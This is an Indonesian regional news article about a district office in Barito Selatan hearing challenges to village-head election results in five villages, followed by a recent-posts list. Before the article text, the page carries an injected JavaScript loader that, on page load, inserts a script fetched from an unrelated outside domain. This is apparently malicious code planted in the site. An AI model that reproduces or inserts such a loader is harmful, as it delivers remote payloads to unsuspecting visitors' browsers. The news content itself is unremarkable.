(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Terkait Gugatan Hasil Pilkades di 5 Desa, DSPMD Barsel Gelar Pertemuan


BUNTOK, Dinas Sosial Pemberdayaan Masyarakat Desa (DSPMD) Barito Selatan (Barsel) melakukan pertemuan membahas laporan dari 5 desa yang melakukan gugatan hasil Pilkades serentak, di aula kantor DSPMD, Kamis (24/10).

Asiseten Pemerintahan Barsel Jumadi didampingi Plt DSPMD Barsel Haitami mengatakan, pertemuan dengan 5 desa kali ini menindaklanjuti atas gugatan para calon kepala desa terkait hasil Pilkades.

“Menanggapi laporan dari gugatan tersebut maka kita memanggil para calon kepala desa dari 5 desa yang melakukan gugatan,” kata Jumadi kepada Kanalkalimantan.com, Kamis (24/10).

Adapun 5 desa yang digugat hasil Pilkades-nya yakni Desa Mabuan, Kalahien dan Pararapak di Kecamatan Dusel. Desa Malungai di Kecamatan Gunung Bintang Awai dan Desa Kalanis di Kecamatan Dusun Hilir. Pemanggilan 5 desa untuk mendengar jawaban atas semua gugatan yang telah dilaporkan.

“Jadi kita memberikan penjelasan atas jawaban yang kita berikan pada gugatan lima desa tersebut,” ucap Jumadi.

Sesuai dengan Perda 7 dan Perda 9 pada pasal 45A, dari 5 desa hanya 1 desa saja yang gugutannya bisa ditindak lanjuti, sesuai hitungan selisih perolehan suara tidak lebih dari 2%. Sementara tentang gugatan tata cara di TPS itu bukan kewenangan panitia, karena itu panitia akan tetap meneruskan ke Bupati tentang proses penetapan sampai pelantikan.

“Jadi hanya desa Malungai memenuhi syarat dan akan kita fasilitasi untuk penghitungan ulang selisih hasil suara yang sudah ada. Sementara desa lainnya prosesnya akan terus dilanjutkan sampai penetapan hasil hingga pelantikan,” beber Jumadi.

Ditambahkan olehnya bila mana para pelapor dari calon kepala desa masih ada yang tidak puas akan hasil proses ini, silahkan melanjutkan ke pengadilan tata usaha negara (PTUN).

“Jadi kita akan memberikan kesempatan kepada para calon kepala desa yang tidak puas akan hasil proses ini untuk lanjut ke PTUN,” pungkas Jumadi. (digdo)

Reporter : Digdo
Editor : Bie


Desy Arfianty

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

5 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

6 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

12 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

13 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

16 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

16 jam ago

This website uses cookies.